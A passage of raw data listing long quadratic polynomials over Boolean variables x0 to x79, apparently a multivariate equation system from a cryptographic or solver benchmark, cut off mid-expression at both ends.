x50*x63 + x50*x65 + x50*x66 + x50*x67 + x50*x71 + x50*x73 + x50*x77 + x50 + x51*x52 + x51*x53 + x51*x55 + x51*x57 + x51*x58 + x51*x61 + x51*x63 + x51*x66 + x51*x67 + x51*x68 + x51*x69 + x51*x72 + x51*x75 + x51*x76 + x52*x55 + x52*x56 + x52*x61 + x52*x62 + x52*x63 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x68 + x52*x71 + x52*x74 + x52*x76 + x52*x77 + x52*x78 + x53*x55 + x53*x56 + x53*x59 + x53*x62 + x53*x65 + x53*x69 + x53*x70 + x53*x71 + x53*x75 + x53*x77 + x53*x79 + x53 + x54*x57 + x54*x60 + x54*x63 + x54*x64 + x54*x65 + x54*x67 + x54*x68 + x54*x73 + x54*x76 + x54*x77 + x54*x79 + x54 + x55*x56 + x55*x59 + x55*x60 + x55*x62 + x55*x63 + x55*x66 + x55*x69 + x55*x70 + x55*x72 + x55*x74 + x55*x76 + x55*x78 + x55*x79 + x56*x57 + x56*x62 + x56*x65 + x56*x67 + x56*x68 + x56*x69 + x56*x70 + x56*x72 + x56*x73 + x56*x74 + x56*x76 + x56*x78 + x56*x79 + x57*x58 + x57*x60 + x57*x61 + x57*x62 + x57*x69 + x57*x72 + x57*x73 + x57*x74 + x57*x75 + x57 + x58*x60 + x58*x61 + x58*x62 + x58*x66 + x58*x68 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x76 + x58*x78 + x59*x65 + x59*x66 + x59*x67 + x59*x69 + x59*x71 + x59*x74 + x59*x75 + x59*x77 + x60*x63 + x60*x64 + x60*x67 + x60*x69 + x60*x71 + x60*x73 + x60*x74 + x60*x78 + x60 + x61*x64 + x61*x66 + x61*x67 + x61*x68 + x61*x71 + x61*x72 + x61*x73 + x61*x75 + x61*x77 + x61*x78 + x61*x79 + x61 + x62*x65 + x62*x66 + x62*x67 + x62*x68 + x62*x69 + x62*x70 + x62*x78 + x62*x79 + x63*x64 + x63*x66 + x63*x68 + x63*x70 + x63*x72 + x63*x73 + x63*x74 + x63*x75 + x63*x76 + x63*x77 + x63 + x64*x65 + x64*x71 + x64*x73 + x64*x75 + x64*x77 + x64*x78 + x64 + x65*x67 + x65*x70 + x65*x75 + x65*x76 + x65*x78 + x65*x79 + x65 + x66*x68 + x66*x70 + x66*x71 + x66*x72 + x66*x73 + x66*x75 + x66*x76 + x66*x77 + x67*x69 + x67*x72 + x67*x75 + x67*x78 + x68*x71 + x68*x72 + x68*x73 + x68*x75 + x68*x76 + x68*x78 + x68*x79 + x68 + x69*x72 + x69*x73 + x69*x75 + x69*x78 + x69*x79 + x70*x71 + x70*x72 + x70*x73 + x70*x74 + x70*x76 + x70*x77 + x70*x78 + x70*x79 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x78 + x71 + x72*x74 + x72*x77 + x72*x78 + x72 + x73*x75 + x73*x77 + x74*x79 + x75*x77 + x75*x78 + x75 + x76*x79 + x76 + x77 + x78*x79 + x78 + x79 + 1, x0*x1 + x0*x2 + x0*x3 + x0*x4 + x0*x6 + x0*x7 + x0*x12 + x0*x16 + x0*x17 + x0*x21 + x0*x22 + x0*x23 + x0*x25 + x0*x27 + x0*x28 + x0*x29 + x0*x30 + x0*x31 + x0*x32 + x0*x33 + x0*x34 + x0*x38 + x0*x44 + x0*x47 + x0*x50 + x0*x51 + x0*x53 + x0*x56 + x0*x58 + x0*x60 + x0*x61 + x0*x63 + x0*x66 + x0*x67 + x0*x69 + x0*x70 + x0*x72 + x1*x2 + x1*x6 + x1*x9 + x1*x10 + x1*x13 + x1*x16 + x1*x18 + x1*x21 + x1*x22 + x1*x23 + x1*x25 + x1*x27 + x1*x28 + x1*x30 + x1*x31 + x1*x36 + x1*x37 + x1*x39 + x1*x41 + x1*x43 + x1*x46 + x1*x50 + x1*x52 + x1*x53 + x1*x54 + x1*x55 + x1*x57 + x1*x58 + x1*x64 + x1*x65 + x1*x68 + x1*x69 + x1*x74 + x1*x76 + x1*x77 + x1*x78 + x1 + x2*x3 + x2*x8 + x2*x9 + x2*x11 + x2*x13 + x2*x18 + x2*x20 + x2*x24 + x2*x25 + x2*x26 + x2*x32 + x2*x34 + x2*x35 + x2*x36 + x2*x38 + x2*x39 + x2*x41 + x2*x44 + x2*x45 + x2*x46 + x2*x49 + x2*x50 + x2*x51 + x2*x54 + x2*x55 + x2*x56 + x2*x58 + x2*x61 + x2*x62 + x2*x63 + x2*x64 + x2*x65 + x2*x67 + x2*x69 + x2*x71 + x2*x72 + x2*x73 + x2*x74 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x6 + x3*x7 + x3*x10 + x3*x14 + x3*x18 + x3*x19 + x3*x26 + x3*x27 + x3*x29 + x3*x30 + x3*x31 + x3*x33 + x3*x35 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x43 + x3*x44 + x3*x45 + x3*x47 + x3*x48 + x3*x52 + x3*x53 + x3*x59 + x3*x60 + x3*x63 + x3*x67 + x3*x69 + x3*x70 + x3*x71 + x3*x77 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x8 + x4*x9 + x4*x10 + x4*x11 + x4*x13 + x4*x14 + x4*x15 + x4*x16 + x4*x20 + x4*x22 + x4*x24 + x4*x25 + x4*x26 + x4*x28 + x4*x31 + x4*x34 + x4*x36 + x4*x38 + x4*x39 + x4*x41 + x4*x45 + x4*x54 + x4*x57 + x4*x59 + x4*x62 + x4*x63 + x4*x64 + x4*x67 + x4*x68 + x4*x69 + x4*x71 + x4*x72 + x4*x73 + x4*x75 + x5*x6 + x5*x13 + x5*x16 + x5*x20 + x5*x21 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x29 + x5*x30 + x5*x33 + x5*x34 + x5*x36 + x5*x37 + x5*x38 + x5*x39 + x5*x42 + x5*x43 + x5*x45 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x52 + x5*x57 + x5*x59 + x5*x62 + x5*x64 + x5*x65 + x5*x67 + x5*x69 + x5*x70 + x5*x71 + x5*x72 + x5*x73 + x5*x74 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x13 + x6*x15 + x6*x17 + x6*x18 + x6*x19 + x6*x20 + x6*x21 + x6*x22 + x6*x23 + x6*x24 + x6*x26 + x6*x27 + x6*x29 + x6*x30 + x6*x32 + x6*x33 + x6*x38 + x6*x39 + x6*x43 + x6*x44 + x6*x45 + x6*x47 + x6*x51 + x6*x52 + x6*x54 + x6*x57 + x6*x58 + x6*x61 + x6*x65 + x6*x68 + x6*x71 + x6*x73 + x6*x74 + x6*x75 + x6*x77 + x6*x78 + x6*x79 + x7*x9 + x7*x10 + x7*x11 + x7*x13 + x7*x14 + x7*x16 + x7*x19 + x7*x20 + x7*x21 + x7*x22 + x7*x24 + x7*x26 + x7*x27 + x7*x28 + x7*x30 + x7*x35 + x7*x36 + x7*x39 + x7*x42 + x7*x45 + x7*x52 + x7*x54 + x7*x56 + x7*x57 + x7*x58 + x7*x61 + x7*x65 + x7*x66 + x7*x68 + x7*x69 + x7*x70 + x7*x72 + x7*x73 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x8*x9 + x8*x13 + x8*x14 + x8*x16 + x8*x18 + x8*x20 + x8*x22 + x8*x25 + x8*x27 + x8*x28 + x8*x31 + x8*x36 + x8*x37 + x8*x38 + x8*x42 + x8*x45 + x8*x46 + x8*x50 + x8*x53 + x8*x55 + x8*x56 + x8*x59 + x8*x64 + x8*x68 + x8*x69 + x8*x71 + x8*x72 + x8*x73 + x8*x74 + x8*x77 + x8*x78 + x9*x10 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x26 + x9*x27 + x9*x28 + x9*x29 + x9*x30 + x9*x34 + x9*x35 + x9*x37 + x9*x38 + x9*x40 + x9*x47 + x9*x48 + x9*x53 + x9*x55 + x9*x57 + x9*x60 + x9*x61 + x9*x62 + x9*x63 + x9*x65 + x9*x66 + x9*x67 + x9*x73 + x9*x74 + x9*x75 + x9*x78 + x9*x79 + x9 + x10*x12 + x10*x14 + x10*x16 + x10*x19 + x10*x22 + x10*x23 + x10*x25 + x10*x28 + x10*x31 + x10*x32 + x10*x33 + x10*x34 + x10*x35 + x10*x39 + x10*x42 + x10*x45 + x10*x47 + x10*x48 + x10*x52 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x57 + x10*x58 + x10*x60 + x10*x67 + x10*x68 + x10*x70 + x10*x71 + x10*x74 + x10*x75 + x10*x79 + x10 + x11*x15 + x11*x16 + x11*x17 + x11*x20 + x11*x23 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x30 + x11*x31 + x11*x33 + x11*x36 + x11*x37 + x11*x38 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x46 + x11*x47 + x11*x50 + x11*x51 + x11*x52 + x11*x54 + x11*x55 + x11*x56 + x11*x59 + x11*x60 + x11*x66 + x11*x67 + x11*x70 + x11*x71 + x11*x72 + x11*x74 + x11*x75 + x11*x77 + x11*x78 + x11*x79 + x12*x18 + x12*x20 + x12*x22 + x12*x24 + x12*x26 + x12*x28 + x12*x29 + x12*x31 + x12*x32 + x12*x33 + x12*x35 + x12*x37 + x12*x39 + x12*x44 + x12*x48 + x12*x49 + x12*x50 + x12*x52 + x12*x53 + x12*x54 + x12*x55 + x12*x56 + x12*x58 + x12*x61 + x12*x64 + x12*x65 + x12*x67 + x12*x68 + x12*x69 + x12*x70 + x12*x74 + x12*x75 + x12*x79 + x12 + x13*x14 + x13*x16 + x13*x17 + x13*x19 + x13*x20 + x13*x21 + x13*x24 + x13*x26 + x13*x28 + x13*x29 + x13*x31 + x13*x32 + x13*x33 + x13*x35 + x13*x37 + x13*x40 + x13*x41 + x13*x42 + x13*x46 + x13*x47 + x13*x50 + x13*x51 + x13*x52 + x13*x54 + x13*x55 + x13*x56 + x13*x60 + x13*x61 + x13*x63 + x13*x64 + x13*x65 + x13*x68 + x13*x71 + x13*x76 + x14*x19 + x14*x21 + x14*x28 + x14*x29 + x14*x31 + x14*x33 + x14*x34 + x14*x37 + x14*x39 + x14*x40 + x14*x41 + x14*x43 + x14*x44 + x14*x45 + x14*x46 + x14*x48 + x14*x49 + x14*x50 + x14*x51 + x14*x53 + x14*x54 + x14*x57 + x14*x58 + x14*x60 + x14*x63 + x14*x64 + x14*x65 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x76 + x14 + x15*x16 + x15*x17 + x15*x18 + x15*x21 + x15*x22 + x15*x25 + x15*x29 + x15*x31 + x15*x32 + x15*x33 + x15*x36 + x15*x38 + x15*x39 + x15*x41 + x15*x44 + x15*x46 + x15*x48 + x15*x50 + x15*x52 + x15*x54 + x15*x56 + x15*x57 + x15*x59 + x15*x60 + x15*x62 + x15*x63 + x15*x67 + x15*x71 + x15*x77 + x16*x17 + x16*x21 + x16*x22 + x16*x23 + x16*x25 + x16*x26 + x16*x27 + x16*x28 + x16*x29 + x16*x31 + x16*x32 + x16*x34 + x16*x35 + x16*x38 + x16*x39 + x16*x40 + x16*x41 + x16*x45 + x16*x47 + x16*x51 + x16*x52 + x16*x53 + x16*x54 + x16*x55 + x16*x57 + x16*x62 + x16*x63 + x16*x66 + x16*x67 + x16*x69 + x16*x70 + x16*x72 + x16*x78 + x16 + x17*x19 + x17*x21 + x17*x22 + x17*x26 + x17*x27 + x17*x28 + x17*x30 + x17*x31 + x17*x32 + x17*x33 + x17*x34 + x17*x36 + x17*x38 + x17*x39 + x17*x40 + x17*x41 + x17*x42 + x17*x43 + x17*x46 + x17*x47 + x17*x49 + x17*x50 + x17*x51 + x17*x53 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x59 + x17*x60 + x17*x61 + x17*x62 + x17*x63 + x17*x68 + x17*x71 + x17*x72 + x17*x74 + x17*x75 + x17*x79 + x18*x19 + x18*x22 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x32 + x18*x34 + x18*x36 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x46 + x18*x48 + x18*x51 + x18*x52 + x18*x53 + x18*x58 + x18*x61 + x18*x62 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x71 + x18*x72 + x18*x74 + x18*x76 + x19*x20 + x19*x22 + x19*x24 + x19*x25 + x19*x29 + x19*x30 + x19*x31 + x19*x32 + x19*x36 + x19*x38 + x19*x39 + x19*x40 + x19*x41 + x19*x45 + x19*x49 + x19*x51 + x19*x52 + x19*x54 + x19*x55 + x19*x57 + x19*x59 + x19*x60 + x19*x62 + x19*x66 + x19*x67 + x19*x73 + x19*x74 + x19 + x20*x21 + x20*x23 + x20*x25 + x20*x27 + x20*x29 + x20*x34 + x20*x36 + x20*x37 + x20*x38 + x20*x40 + x20*x44 + x20*x46 + x20*x47 + x20*x49 + x20*x51 + x20*x52 + x20*x55 + x20*x57 + x20*x58 + x20*x59 + x20*x64 + x20*x65 + x20*x66 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x73 + x20*x74 + x20*x76 + x20*x78 + x20 + x21*x22 + x21*x23 + x21*x24 + x21*x30 + x21*x31 + x21*x32 + x21*x33 + x21*x34 + x21*x39 + x21*x40 + x21*x42 + x21*x43 + x21*x46 + x21*x47 + x21*x48 + x21*x51 + x21*x52 + x21*x53 + x21*x54 + x21*x57 + x21*x60 + x21*x61 + x21*x62 + x21*x64 + x21*x65 + x21*x67 + x21*x71 + x21*x72 + x21*x73 + x21 + x22*x23 + x22*x25 + x22*x26 + x22*x29 + x22*x30 + x22*x32 + x22*x33 + x22*x34 + x22*x35 + x22*x36 + x22*x37 + x22*x39 + x22*x40 + x22*x42 + x22*x43 + x22*x45 + x22*x46 + x22*x48 + x22*x49 + x22*x58 + x22*x60 + x22*x62 + x22*x63 + x22*x64 + x22*x66 + x22*x69 + x22*x70 + x22*x71 + x22*x73 + x22*x74 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x23*x27 + x23*x29 + x23*x30 + x23*x32 + x23*x33 + x23*x34 + x23*x40 + x23*x42 + x23*x43 + x23*x44 + x23*x47 + x23*x49 + x23*x53 + x23*x54 + x23*x56 + x23*x58 + x23*x59 + x23*x61 + x23*x62 + x23*x63 + x23*x67 + x23*x68 + x23*x70 + x23*x72 + x23*x74 + x23*x76 + x23*x77 + x23*x78 + x24*x25 + x24*x27 + x24*x32 + x24*x33 + x24*x34 + x24*x37 + x24*x38 + x24*x40 + x24*x42 + x24*x44 + x24*x47 + x24*x48 + x24*x49 + x24*x51 + x24*x52 + x24*x54 + x24*x55 + x24*x61 + x24*x62 + x24*x63 + x24*x64 + x24*x65 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x25*x26 + x25*x30 + x25*x32 + x25*x34 + x25*x36 + x25*x39 + x25*x42 + x25*x43 + x25*x46 + x25*x49 + x25*x50 + x25*x54 + x25*x57 + x25*x59 + x25*x60 + x25*x62 + x25*x63 + x25*x65 + x25*x66 + x25*x68 + x25*x69 + x25*x70 + x25*x73 + x25*x75 + x25*x78 + x25*x79 + x25 + x26*x29 + x26*x31 + x26*x34 + x26*x36 + x26*x41 + x26*x42 + x26*x43 + x26*x45 + x26*x49 + x26*x50 + x26*x58 + x26*x63 + x26*x65 + x26*x66 + x26*x68 + x26*x70 + x26*x71 + x26*x72 + x26*x73 + x26*x74 + x26*x79 + x27*x29 + x27*x31 + x27*x34 + x27*x35 + x27*x36 + x27*x37 + x27*x40 + x27*x41 + x27*x42 + x27*x43 + x27*x45 + x27*x47 + x27*x50 + x27*x52 + x27*x54 + x27*x55 + x27*x57 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x72 + x27*x73 + x27*x75 + x27*x76 + x27*x77 + x27 + x28*x29 + x28*x30 + x28*x31 + x28*x32 + x28*x34 + x28*x35 + x28*x37 + x28*x38 + x28*x39 + x28*x42 + x28*x43 + x28*x45 + x28*x47 + x28*x48 + x28*x50 + x28*x51 + x28*x52 + x28*x53 + x28*x54 + x28*x56 + x28*x57 + x28*x58 + x28*x59 + x28*x61 + x28*x67 + x28*x68 + x28*x71 + x28*x77 + x28*x78 + x28*x79 + x28 + x29*x30 + x29*x32 + x29*x35 + x29*x37 + x29*x38 + x29*x40 + x29*x41 + x29*x42 + x29*x45 + x29*x48 + x29*x49 + x29*x53 + x29*x57 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x63 + x29*x65 + x29*x69 + x29*x74 + x29*x75 + x30*x33 + x30*x34 + x30*x36 + x30*x38 + x30*x40 + x30*x51 + x30*x52 + x30*x55 + x30*x60 + x30*x62 + x30*x64 + x30*x65 + x30*x66 + x30*x73 + x30*x74 + x30*x75 + x30*x77 + x30*x78 + x30*x79 + x31*x32 + x31*x34 + x31*x38 + x31*x39 + x31*x40 + x31*x41 + x31*x42 + x31*x43 + x31*x45 + x31*x53 + x31*x55 + x31*x56 + x31*x58 + x31*x59 + x31*x62 + x31*x64 + x31*x69 + x31*x71 + x31*x73 + x31*x74 + x31*x76 + x31*x77 + x32*x33 + x32*x34 + x32*x35 + x32*x38 + x32*x41 + x32*x42 + x32*x45 + x32*x47 + x32*x48 + x32*x49 + x32*x57 + x32*x58 + x32*x60 + x32*x61 + x32*x62 + x32*x63 + x32*x64 + x32*x65 + x32*x69 + x32*x70 + x32*x73 + x32*x74 + x32*x77 + x32*x79 + x32 + x33*x34 + x33*x35 + x33*x36 + x33*x38 + x33*x43 + x33*x45 + x33*x46 + x33*x48 + x33*x52 + x33*x58 + x33*x60 + x33*x62 + x33*x63 + x33*x66 + x33*x69 + x33*x70 + x33*x73 + x33*x75 + x33*x76 + x33*x77 + x33 + x34*x36 + x34*x38 + x34*x39 + x34*x40 + x34*x42 + x34*x43 + x34*x44 + x34*x46 + x34*x51 + x34*x52 + x34*x54 + x34*x56 + x34*x57 + x34*x59 + x34*x62 + x34*x63 + x34*x67 + x34*x68 + x34*x70 + x34*x72 + x34*x73 + x34*x75 + x34*x76 + x34*x77 + x34*x78 + x34*x79 + x34 + x35*x39 + x35*x42 + x35*x45 + x35*x46 + x35*x47 + x35*x48 + x35*x50 + x35*x51 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x58 + x35*x62 + x35*x66 + x35*x67 + x35*x68 + x35*x69 + x35*x73 + x35*x74 + x35*x75 + x36*x37 + x36*x38 + x36*x39 + x36*x41 + x36*x43 + x36*x44 + x36*x46 + x36*x47 + x36*x48 + x36*x49 + x36*x52 + x36*x53 + x36*x56 + x36*x57 + x36*x58 + x36*x60 + x36*x62 + x36*x63 + x36*x64 + x36*x66 + x36*x67 + x36*x68 + x36*x69 + x36*x70 + x36*x71 + x36*x73 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36 + x37*x39 + x37*x41 + x37*x42 + x37*x43 + x37*x44 + x37*x46 + x37*x49 + x37*x53 + x37*x61 + x37*x65 + x37*x69 + x37*x70 + x37*x74 + x37*x77 + x37 + x38*x40 + x38*x42 + x38*x45 + x38*x48 + x38*x49 + x38*x53 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x60 + x38*x63 + x38*x65 + x38*x66 + x38*x68 + x38*x69 + x38*x70 + x38*x76 + x38*x78 + x38*x79 + x38 + x39*x41 + x39*x42 + x39*x43 + x39*x45 + x39*x47 + x39*x49 + x39*x50 + x39*x51 + x39*x57 + x39*x58 + x39*x62 + x39*x63 + x39*x64 + x39*x66 + x39*x67 + x39*x69 + x39*x70 + x39*x71 + x39*x73 + x39*x75 + x39*x76 + x39*x78 + x39 + x40*x45 + x40*x47 + x40*x49 + x40*x50 + x40*x53 + x40*x54 + x40*x55 + x40*x58 + x40*x61 + x40*x63 + x40*x64 + x40*x67 + x40*x68 + x40*x69 + x40*x70 + x40*x72 + x40*x73 + x40*x75 + x40*x77 + x40*x78 + x41*x44 + x41*x45 + x41*x49 + x41*x51 + x41*x53 + x41*x58 + x41*x62 + x41*x65 + x41*x67 + x41*x71 + x41*x73 + x41*x75 + x41*x76 + x41 + x42*x43 + x42*x46 + x42*x47 + x42*x48 + x42*x49 + x42*x51 + x42*x52 + x42*x55 + x42*x57 + x42*x58 + x42*x60 + x42*x61 + x42*x62 + x42*x63 + x42*x64 + x42*x65 + x42*x67 + x42*x69 + x42*x71 + x42*x74 + x42*x76 + x42*x78 + x42*x79 + x43*x44 + x43*x50 + x43*x51 + x43*x52 + x43*x55 + x43*x56 + x43*x57 + x43*x59 + x43*x61 + x43*x62 + x43*x63 + x43*x65 + x43*x66 + x43*x67 + x43*x68 + x43*x73 + x43*x74 + x43*x75 + x43*x78 + x43 + x44*x45 + x44*x47 + x44*x48 + x44*x49 + x44*x53 + x44*x57 + x44*x61 + x44*x67 + x44*x69 + x44*x70 + x44*x71 + x44*x72 + x44*x73 + x44*x78 + x44*x79 + x44 + x45*x46 + x45*x48 + x45*x49 + x45*x50 + x45*x51 + x45*x52 + x45*x54 + x45*x55 + x45*x56 + x45*x58 + x45*x59 + x45*x66 + x45*x69 + x45*x72 + x45*x74 + x45*x76 + x45*x77 + x45*x78 + x45 + x46*x48 + x46*x49 + x46*x50 + x46*x54 + x46*x56 + x46*x59 + x46*x60 + x46*x61 + x46*x62 + x46*x65 + x46*x68 + x46*x69 + x46*x71 + x46*x74 + x46*x78 + x47*x49 + x47*x50 + x47*x53 + x47*x54 + x47*x58 + x47*x60 + x47*x61 + x47*x62 + x47*x63 + x47*x64 + x47*x66 + x47*x68 + x47*x69 + x47*x70 + x47*x71 + x47*x72 + x47*x73 + x47*x75 + x47*x77 + x47*x79 + x47 + x48*x49 + x48*x59 + x48*x60 + x48*x62 + x48*x63 + x48*x65 + x48*x66 + x48*x68 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x79 + x49*x50 + x49*x51 + x49*x56 + x49*x58 + x49*x60 + x49*x64 + x49*x67 + x49*x69 + x49*x72 + x49*x74 + x49*x77 + x49*x79 + x50*x51 + x50*x53 + x50*x55 + x50*x57 + x50*x59 + x50*x61 + x50*x62 + x50*x67 + x50*x68 + x50*x69 + x50*x73 + x50*x75 + x50*x77 + x50*x78 + x50 + x51*x52 + x51*x56 + x51*x58 + x51*x59 + x51*x61 + x51*x62 + x51*x63 + x51*x67 + x51*x70 + x51*x71 + x51*x73 + x51*x74 + x51*x75 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x56 + x52*x57 + x52*x60 + x52*x63 + x52*x65 + x52*x66 + x52*x67 + x52*x68 + x52*x69 + x52*x73 + x52*x74 + x52*x79 + x52 + x53*x54 + x53*x57 + x53*x58 + x53*x60 + x53*x62 + x53*x65 + x53*x66 + x53*x68 + x53*x69 + x53*x70 + x53*x73 + x53*x79 + x53 + x54*x56 + x54*x61 + x54*x63 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x72 + x54*x73 + x54*x74 + x54*x76 + x54 + x55*x56 + x55*x57 + x55*x59 + x55*x64 + x55*x66 + x55*x70 + x55*x73 + x55*x78 + x55*x79 + x56*x57 + x56*x59 + x56*x60 + x56*x64 + x56*x66 + x56*x67 + x56*x71 + x56*x72 + x56*x74 + x56*x75 + x56*x77 + x56*x78 + x56*x79 + x56 + x57*x59 + x57*x61 + x57*x64 + x57*x65 + x57*x70 + x57*x73 + x57*x74 + x57*x76 + x57 + x58*x60 + x58*x61 + x58*x62 + x58*x66 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x79 + x58 + x59*x61 + x59*x62 + x59*x64 + x59*x65 + x59*x69 + x59*x73 + x59*x74 + x59*x76 + x59*x77 + x59*x78 + x59*x79 + x60*x61 + x60*x67 + x60*x69 + x60*x72 + x60*x73 + x60*x76 + x60*x78 + x60*x79 + x61*x62 + x61*x63 + x61*x64 + x61*x69 + x61*x70 + x61*x71 + x61*x73 + x61*x74 + x61*x76 + x62*x63 + x62*x64 + x62*x69 + x62*x71 + x62*x72 + x62*x75 + x62*x77 + x62*x78 + x62 + x63*x65 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x75 + x63*x76 + x64*x66 + x64*x69 + x64*x70 + x64*x71 + x64*x73 + x64*x75 + x64*x79 + x65*x66 + x65*x67 + x65*x69 + x65*x70 + x65*x72 + x65*x76 + x65*x79 + x65 + x66*x67 + x66*x69 + x66*x71 + x66*x72 + x66*x73 + x66*x74 + x66*x78 + x66*x79 + x67*x71 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x77 + x67 + x68*x70 + x68*x74 + x68*x75 + x68*x76 + x68*x77 + x68*x78 + x68 + x69*x70 + x69*x71 + x69*x72 + x69*x73 + x69*x77 + x69*x79 + x70*x74 + x70*x76 + x70*x78 + x70 + x71*x73 + x71*x74 + x71*x76 + x71*x77 + x71*x78 + x71 + x72*x73 + x72*x74 + x72*x75 + x72*x77 + x72*x78 + x72*x79 + x73*x77 + x73*x78 + x73*x79 + x74*x75 + x74*x77 + x74*x78 + x74 + x75*x78 + x75 + x76*x77 + x76*x78 + x77*x78 + x77*x79 + x77 + x78*x79 + x78 + 1, x0*x1 + x0*x4 + x0*x5 + x0*x7 + x0*x8 + x0*x9 + x0*x11 + x0*x12 + x0*x13 + x0*x18 + x0*x24 + x0*x25 + x0*x27 + x0*x28 + x0*x29 + x0*x32 + x0*x33 + x0*x37 + x0*x39 + x0*x40 + x0*x44 + x0*x45 + x0*x46 + x0*x47 + x0*x50 + x0*x54 + x0*x55 + x0*x56 + x0*x57 + x0*x59 + x0*x61 + x0*x66 + x0*x68 + x0*x69 + x0*x70 + x0*x73 + x0*x74 + x0*x75 + x0*x77 + x0*x78 + x0 + x1*x3 + x1*x4 + x1*x6 + x1*x7 + x1*x8 + x1*x9 + x1*x11 + x1*x12 + x1*x13 + x1*x15 + x1*x16 + x1*x17 + x1*x19 + x1*x20 + x1*x23 + x1*x24 + x1*x25 + x1*x26 + x1*x28 + x1*x32 + x1*x38 + x1*x39 + x1*x40 + x1*x41 + x1*x42 + x1*x45 + x1*x46 + x1*x47 + x1*x48 + x1*x50 + x1*x51 + x1*x53 + x1*x55 + x1*x56 + x1*x57 + x1*x59 + x1*x61 + x1*x63 + x1*x64 + x1*x65 + x1*x67 + x1*x68 + x1*x69 + x1*x70 + x1*x73 + x1*x76 + x1*x77 + x1*x79 + x1 + x2*x4 + x2*x6 + x2*x8 + x2*x9 + x2*x10 + x2*x12 + x2*x13 + x2*x14 + x2*x18 + x2*x23 + x2*x26 + x2*x27 + x2*x28 + x2*x29 + x2*x33 + x2*x34 + x2*x35 + x2*x41 + x2*x44 + x2*x45 + x2*x46 + x2*x47 + x2*x49 + x2*x50 + x2*x58 + x2*x59 + x2*x61 + x2*x65 + x2*x68 + x2*x70 + x2*x73 + x2*x74 + x2*x75 + x2*x76 + x2*x78 + x2*x79 + x3*x4 + x3*x5 + x3*x7 + x3*x13 + x3*x15 + x3*x17 + x3*x24 + x3*x25 + x3*x28 + x3*x31 + x3*x32 + x3*x33 + x3*x34 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x40 + x3*x44 + x3*x46 + x3*x47 + x3*x49 + x3*x50 + x3*x51 + x3*x52 + x3*x54 + x3*x55 + x3*x58 + x3*x61 + x3*x62 + x3*x63 + x3*x67 + x3*x70 + x3*x72 + x3*x75 + x3*x78 + x4*x9 + x4*x13 + x4*x14 + x4*x17 + x4*x19 + x4*x20 + x4*x22 + x4*x23 + x4*x24 + x4*x25 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x32 + x4*x40 + x4*x41 + x4*x42 + x4*x45 + x4*x46 + x4*x51 + x4*x52 + x4*x54 + x4*x55 + x4*x56 + x4*x57 + x4*x58 + x4*x59 + x4*x60 + x4*x61 + x4*x62 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x69 + x4*x70 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x78 + x5*x6 + x5*x8 + x5*x9 + x5*x11 + x5*x12 + x5*x14 + x5*x15 + x5*x16 + x5*x21 + x5*x24 + x5*x26 + x5*x27 + x5*x30 + x5*x31 + x5*x32 + x5*x34 + x5*x35 + x5*x37 + x5*x39 + x5*x40 + x5*x41 + x5*x42 + x5*x43 + x5*x45 + x5*x48 + x5*x49 + x5*x50 + x5*x56 + x5*x57 + x5*x58 + x5*x59 + x5*x60 + x5*x62 + x5*x65 + x5*x68 + x5*x69 + x5*x70 + x5*x73 + x5*x74 + x5*x75 + x5*x77 + x6*x11 + x6*x14 + x6*x17 + x6*x19 + x6*x20 + x6*x22 + x6*x24 + x6*x26 + x6*x28 + x6*x32 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x42 + x6*x43 + x6*x44 + x6*x46 + x6*x50 + x6*x52 + x6*x56 + x6*x57 + x6*x60 + x6*x62 + x6*x63 + x6*x64 + x6*x66 + x6*x68 + x6*x70 + x6*x71 + x6*x74 + x6*x75 + x6*x77 + x6*x78 + x7*x9 + x7*x10 + x7*x13 + x7*x16 + x7*x24 + x7*x26 + x7*x27 + x7*x28 + x7*x32 + x7*x34 + x7*x35 + x7*x37 + x7*x39 + x7*x41 + x7*x43 + x7*x44 + x7*x45 + x7*x48 + x7*x49 + x7*x52 + x7*x58 + x7*x64 + x7*x65 + x7*x68 + x7*x76 + x7*x77 + x7*x78 + x7*x79 + x8*x10 + x8*x12 + x8*x13 + x8*x16 + x8*x17 + x8*x18 + x8*x19 + x8*x20 + x8*x23 + x8*x25 + x8*x26 + 